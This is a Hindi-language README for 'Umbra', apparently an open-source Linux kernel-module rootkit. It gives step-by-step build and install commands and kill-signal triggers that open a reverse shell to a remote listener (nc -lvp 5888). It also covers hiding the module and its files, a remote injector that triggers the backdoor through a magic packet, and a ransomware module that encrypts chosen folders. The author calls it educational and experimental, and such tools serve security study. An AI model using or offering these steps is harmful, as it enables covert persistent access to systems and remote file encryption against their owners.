
एक LKM रूटकिट जो 4.x और 5.x कर्नेल संस्करणों को लक्षित करता है, जो एक बैकडोर खोलता है जो किसी रिमोट होस्ट पर रिवर्स शेल स्पॉन कर सकता है, मालवेयर लॉन्च कर सकता है और बहुत कुछ।

Umbra एक प्रायोगिक (experimental) दूरस्थ रूप से नियंत्रणीय LKM रूटकिट है जो कर्नेल 4.x और 5.x (5.7 तक) के लिए है, जो एक नेटवर्क बैकडोर खोलता है जो दूरस्थ होस्ट्स पर रिवर्स शेल चला सकता है, दूरस्थ रूप से मैलवेयर लॉन्च कर सकता है और भी बहुत कुछ।
रूटकिट अभी भी विकासाधीन है, हालाँकि नीचे सूचीबद्ध विशेषताएँ पहले से ही पूरी तरह कार्यशील हैं।

नोट: इस रूटकिट को कर्नेल 5.4.0 और Ubuntu 18.04 का उपयोग करके विकसित और परीक्षण किया गया है।

अधिक कार्यक्षमताएँ बाद के अपडेट्स में आएंगी।
यह रूटकिट पूर्णतः शैक्षिक उद्देश्यों के लिए है। इसके अनिच्छित उपयोग से होने वाली किसी भी क्षति के लिए मैं जिम्मेदार नहीं हूँ।
यह भी ध्यान रखें कि Umbra केवल हल्के छिपाने और सुरक्षा तंत्रों को शामिल करता है। यह किसी वास्तविक परिदृश्य में उपयोग के लिए नहीं है।
महत्वपूर्ण: यदि आप इस रूटकिट को अपनी मशीन पर परीक्षण करने जा रहे हैं, तो मैं दृढ़ता से अनुशंसा करता हूँ कि VM का उपयोग करें।
Umbra Modules के बारे में: ransom मॉड्यूल एक साधारण एन्क्रिप्शन तंत्र का उपयोग करता है, लेकिन यह आपकी मशीन के किसी भी फोल्डर को एन्क्रिप्ट कर सकता है और निश्चित रूप से करेगा। हालाँकि फाइलों को आसानी से डिक्रिप्ट किया जा सकता है, मैं निश्चित रूप से अनुशंसा नहीं करता कि इसे अपने रूट फोल्डर या इसी तरह पर चलाएँ, जब तक कि नियंत्रित वातावरण में न हों।
याद रखें कि आपके पास 4.x या 5.x कर्नेल उपलब्ध होना चाहिए।
apt install linux-headers-$(uname -r)
अपने include path को कर्नेल हेडर निर्देशिका (आमतौर पर /usr/src के अंतर्गत) को कवर करने के लिए कॉन्फ़िगर करें। यदि आप vscode का उपयोग कर रहे हैं, तो कौन सी निर्देशिकाएँ शामिल करनी हैं, इसका उदाहरण आप .vscode/c_cpp_properties.json में देख सकते हैं।
प्रोजेक्ट क्लोन करें
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
यदि आपने पहले स्क्रिप्ट चलाई है और केवल Umbra को कर्नेल में स्थापित करना चाहते हैं, तो आप चला सकते हैं:
sudo insmod ./umbra.ko
सुनिश्चित करें कि Umbra अदृश्य मोड में नहीं है, अन्यथा यह विफल हो जाएगा।
sudo rmmod umbra
kill -50 1
रूटकिट बनाने से पहले अपना इच्छित IP और पोर्ट CONFIG.H में सेट करें। डिफ़ॉल्ट रूप से 127.0.0.1:5888
दूरस्थ होस्ट पर सुनना (listening) प्रारंभ करें।
nc -lvp 5888
kill -51 1
नोट: Umbra लोड होने पर भी रिवर्स शेल प्रारंभ करने का प्रयास करता है।
यह रूटकिट को lsmod जैसे कमांड्स द्वारा दिखाए जाने या rmmod के माध्यम से हटाए जाने से रोकेगा।
kill -52 1
यदि अदृश्य मोड सक्रिय है तो यह उसे वापस सामान्य कर देता है।
kill -53 1
Umbra Injector को या तो Umbra स्थापित होने से पहले चलाया जा सकता है (इस प्रकार उसके चालू होते ही शेल मिल जाता है), या लक्ष्य प्रणाली पर Umbra स्थापित होने के बाद चलाया जा सकता है।
./injector -S 127.0.0.1
बैकडोर निम्नलिखित पेलोड वाले पैकेट्स को सुनता है:
UMBRA_PAYLOAD_GET_REVERSE_SHELL.
आप मेरी लाइब्रेरी RawTCP का उपयोग करके अपना स्वयं का injector भी बना सकते हैं।
यह रूटकिट को lsmod जैसे कमांड्स द्वारा दिखाए जाने या rmmod के माध्यम से हटाए जाने से रोकेगा।
./injector -i 127.0.0.1
यदि अदृश्य मोड सक्रिय है तो यह उसे वापस सामान्य कर देता है।
./injector -u 127.0.0.1
Umbra Injector को कैसे चलाएँ, इसकी पूरी जानकारी आप इसके द्वारा देख सकते हैं:
./injector -h
Umbra Modules को install.sh स्क्रिप्ट द्वारा /tmp/umbra पर संग्रहीत किया जाएगा, जहाँ Umbra उन्हें छिपा देगा। यह निर्देशिका ls या समान कमांड्स द्वारा दिखाई नहीं देगी।
यह मॉड्यूल Umbra Injector के माध्यम से दूरस्थ रैनसमवेयर-जैसे हमले लॉन्च कर सकता है। एन्क्रिप्टेड फाइलें .ubr एक्सटेंशन के साथ दिखाई देती हैं।
वर्तमान में एन्क्रिप्शन तंत्र एक साधारण बिट-स्तरीय NOP है, जो proof of concept के रूप में है। आप अपना स्वयं का एन्क्रिप्शन एल्गोरिदम शामिल करने के लिए मॉड्यूल को संपादित कर सकते हैं।
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
इस रूटकिट के विकास में LKMs और रूटकिट तकनीकों के बारे में काफी मात्रा में शोध शामिल था। निम्नलिखित मेरे द्वारा उपयोग किए गए संसाधनों की एक अपूर्ण सूची है: LKMs कैसे बनाएँ:
Linux syscall संदर्भ:
कुछ रूटकिट संदर्भ:
यह प्रोजेक्ट GPLv2 लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। LICENSE देखें।